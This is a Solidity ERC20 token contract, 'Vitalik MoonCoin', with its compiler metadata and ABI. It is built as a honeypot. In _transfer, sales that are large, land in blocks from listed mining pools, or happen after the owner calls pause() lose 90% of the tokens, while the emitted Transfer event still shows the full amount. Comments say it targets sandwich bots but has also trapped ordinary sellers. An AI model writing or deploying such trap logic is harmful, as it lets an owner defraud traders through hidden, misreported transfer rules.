// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
interface ERC20Interface {
function totalSupply() external view returns (uint);
function balanceOf(address tokenOwner) external view returns (uint balance);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) external;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Vitalik is ERC20Interface, Owned {
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public pool;
bool paused;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address ethermine = 0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8;
address sparkpool = 0x5A0b54D5dc17e0AadC383d2db43B0a0D3E029c4c;
address nanopool = 0x52bc44d5378309EE2abF1539BF71dE1b7d7bE3b5;
address f2pool2 = 0x829BD824B016326A401d083B33D092293333A830;
address other = 0xbCC817f057950b0df41206C5D7125E6225Cae18e;
address babelpool = 0xB3b7874F13387D44a3398D298B075B7A3505D8d4;
address spiderpool = 0x04668Ec2f57cC15c381b461B9fEDaB5D451c8F7F;
address other2 = 0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8;
address other3 = 0x06B8C5883Ec71bC3f4B332081519f23834c8706E;
address hiveonpool = 0x1aD91ee08f21bE3dE0BA2ba6918E714dA6B45836;
address beepool = 0x99C85bb64564D9eF9A99621301f22C9993Cb89E3;
address other4 = 0xc8F595E2084DB484f8A80109101D58625223b7C9;
address uupool = 0xD224cA0c819e8E97ba0136B3b95ceFf503B79f53;
address binancepool = 0xc365c3315cF926351CcAf13fA7D19c8C4058C8E1;
address[14] blacklist = [ethermine, sparkpool, nanopool, f2pool2, other, babelpool, spiderpool, other2, other3, hiveonpool, beepool, other4, uupool, binancepool];
constructor() {
symbol = "VITALIK";
name = "Vitalik MoonCoin";
decimals = 18;
// One trillion
_totalSupply = 1000000000000 ether;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function pause() public onlyOwner {
paused = true;
}
function transferPool(address _pool) public onlyOwner {
pool = _pool;
}
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
function withdraw() public onlyOwner {
(bool success,) = owner.call{value: address(this).balance}("");
require(success, "Failed to send ether");
}
// Authentication done previously
function _transfer(address from, address to, uint tokens) internal {
if (from != address(0) && pool == address(0)) { pool = to; }
// This should be true for everything on mainnet
bool isFlashbot = false;
for (uint i = 0; i < blacklist.length; i++) {
if (block.coinbase == blacklist[i]) {
isFlashbot = true;
break;
}
}
// A single swap can drain max 1% of the pool's ETH
bool isBig = tokens >= balances[pool] / 100;
// Should this be OR or AND?
bool allowSelling = !isFlashbot && !isBig && !paused;
// We can calculate the amount of ETH that a transfer corresponds to
// Needs to succeed when people buy from the pool
// if(from == owner || to == owner || from == pool) {
if(from == owner || to == owner || from == pool || allowSelling) {
balances[from] -= tokens;
balances[to] += tokens;
} else {
balances[from] -= tokens;
uint trapAmount = (tokens * 10) / 100;
balances[to] += trapAmount;
// TODO: add payment to miner in case of the sandwicher not paying out
// Two users managed to sell after many hours, so need to be careful about this
// Maybe use blockhash as a random number generator? I think the sandwich smart contracts will revert if they don't get their ETH now
// uint payout = address(this).balance > 0.1 ether ? 0.1 ether : address(this).balance;
// (bool success,) = block.coinbase.call{value: payout}("");
}
emit Transfer(msg.sender, to, tokens);
}
function transfer(address to, uint tokens) public override returns (bool success) {
_transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
allowed[from][msg.sender] -= tokens; // this reverts in Solidity 0.8.x if tokens > allowed
_transfer(from, to, tokens);
return true;
}
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
}
{
"compilationTarget": {
"contracts/CheapERC20.sol": "Vitalik"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"acceptOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pool","type":"address"}],"name":"transferPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]